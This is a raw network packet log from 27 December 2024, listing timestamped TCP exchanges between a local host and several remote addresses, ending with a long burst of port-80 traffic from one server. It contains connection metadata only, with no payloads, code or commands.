Dec 27, 2024 15:05:28.135802031 CET	443	49702	173.222.162.64	192.168.2.6
Dec 27, 2024 15:05:28.135893106 CET	49702	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:28.825723886 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:28.825804949 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:28.827254057 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:28.827271938 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:28.827522039 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:28.828733921 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:28.828859091 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:28.828897953 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:30.183147907 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:30.183419943 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:30.183511972 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:30.184148073 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:30.184171915 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:30.307804108 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:30.307861090 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:30.307944059 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:30.308310032 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:30.308321953 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:31.535794973 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:31.535890102 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:31.537147999 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:31.537156105 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:31.537404060 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:31.538729906 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:31.538887978 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:31.538922071 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:31.538989067 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:31.583333969 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:32.505651951 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:32.505937099 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:32.506004095 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:32.506092072 CET	49712	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:32.506109953 CET	443	49712	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:32.704828024 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:32.704884052 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:32.704977036 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:32.705264091 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:32.705276012 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:33.926239014 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:33.926471949 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:33.927819014 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:33.927831888 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:33.928193092 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:33.929389000 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:33.929565907 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:33.929596901 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:33.929660082 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:33.929666042 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:34.886724949 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:34.886845112 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:34.886895895 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:34.887120962 CET	49718	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:34.887145042 CET	443	49718	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:35.381690979 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:35.381726980 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:35.381788969 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:35.382245064 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:35.382258892 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:36.640500069 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:36.640620947 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:36.672187090 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:36.672204971 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:36.672585011 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:36.674609900 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:36.674680948 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:36.674689054 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:37.095329046 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:37.095376968 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:37.095441103 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:37.096093893 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:37.096111059 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:37.410681009 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:37.410798073 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:37.410862923 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:37.413692951 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:37.413707018 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:37.985232115 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:37.985291004 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:37.985349894 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:37.985893011 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:37.985912085 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.201637030 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.201728106 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.420047045 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:39.420149088 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:39.443217039 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:39.443238974 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:39.443527937 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:39.493643999 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:39.553256989 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.553298950 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.553806067 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.561077118 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.562411070 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.562443972 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.562551975 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.562588930 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.562710047 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.562838078 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.562958002 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.562978983 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.563158989 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.563184977 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.563766003 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.563793898 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.563802004 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.563816071 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.563954115 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.563973904 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.563997984 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.564146996 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.564177036 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.600023985 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:39.600136995 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:39.600146055 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:39.600337982 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:39.611335993 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.612322092 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.612385988 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.612420082 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.647332907 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:39.659337044 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:39.659477949 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:39.707334042 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:40.411720991 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:40.411825895 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:40.411916018 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:40.412066936 CET	49732	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:40.412079096 CET	443	49732	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:43.605818033 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:43.605915070 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:43.606065989 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:43.606192112 CET	49739	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:43.606208086 CET	443	49739	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:43.625849962 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:43.625888109 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:43.626055956 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:43.632510900 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:43.632520914 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:44.843621969 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:44.843700886 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:44.847326994 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:44.847346067 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:44.847587109 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:44.858097076 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:44.858119965 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:44.858174086 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:45.617899895 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:45.618000984 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:45.618047953 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:45.618252039 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:45.618268967 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:45.618283033 CET	49750	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:45.618288994 CET	443	49750	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:45.620671988 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:45.740163088 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:45.740428925 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:45.740691900 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:45.860102892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081257105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081289053 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081305981 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081315041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081326962 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081337929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081352949 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081399918 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.081470013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081479073 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.081512928 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081525087 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.081554890 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.081569910 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.201438904 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.201457977 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.201581955 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.273286104 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.273616076 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.273713112 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.277617931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.277636051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.277684927 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.285903931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.286025047 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.286079884 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.293989897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.294151068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.294213057 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.302144051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.302227020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.302346945 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.310688972 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.311022043 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.311120033 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.319005013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.319042921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.319140911 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.327332020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.327418089 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.327510118 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.335730076 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.335875034 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.335968971 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.344759941 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.344917059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.345071077 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.352492094 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.352669001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.352735996 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.467289925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.467338085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.467505932 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.469837904 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.469861031 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.470383883 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.474668026 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.474841118 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.474891901 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.479640961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.479794025 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.479882002 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.484704018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.484771967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.484826088 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.489532948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.489645958 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.489726067 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.494277000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.494308949 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.494364977 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.499223948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.499242067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.499332905 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.503942013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.504086018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.504143000 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.508764982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.508809090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.508889914 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.513526917 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.513629913 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.513691902 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.518436909 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.518548965 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.518601894 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.523241997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.523266077 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.523325920 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.528009892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.528136969 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.528193951 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.532778025 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.532949924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.533003092 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.537727118 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.537792921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.537847996 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.542475939 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.542578936 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.542642117 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.547374964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.547398090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.547460079 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.552156925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.603035927 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.659482002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.659638882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.659723997 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.661478996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.661606073 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.661665916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.665570974 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.665666103 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.665716887 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.669586897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.669625044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.669681072 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.673680067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.673726082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.673901081 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.677587032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.677743912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.677804947 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.681322098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.681457996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.681502104 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.685323000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.685468912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.685514927 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.689013004 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.689040899 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.689083099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.692740917 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.692910910 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.692955971 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.696567059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.696619987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.696665049 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.700493097 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.700539112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.700584888 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.704063892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.704149008 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.704188108 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.707880974 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.708093882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.708141088 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.711893082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.712004900 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.712078094 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.715468884 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.715569973 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.715629101 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.719474077 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.719643116 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.719831944 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.722932100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.723036051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.723092079 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.726779938 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.726875067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.726946115 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.730696917 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.730715990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.730777025 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.734395027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.734555006 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.734606028 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.738379955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.738394976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.738451004 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.741895914 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.742029905 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.742096901 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.745640039 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.745784998 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.745843887 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.749506950 CET	80	49755	185.215.113.16	192.168.2.6
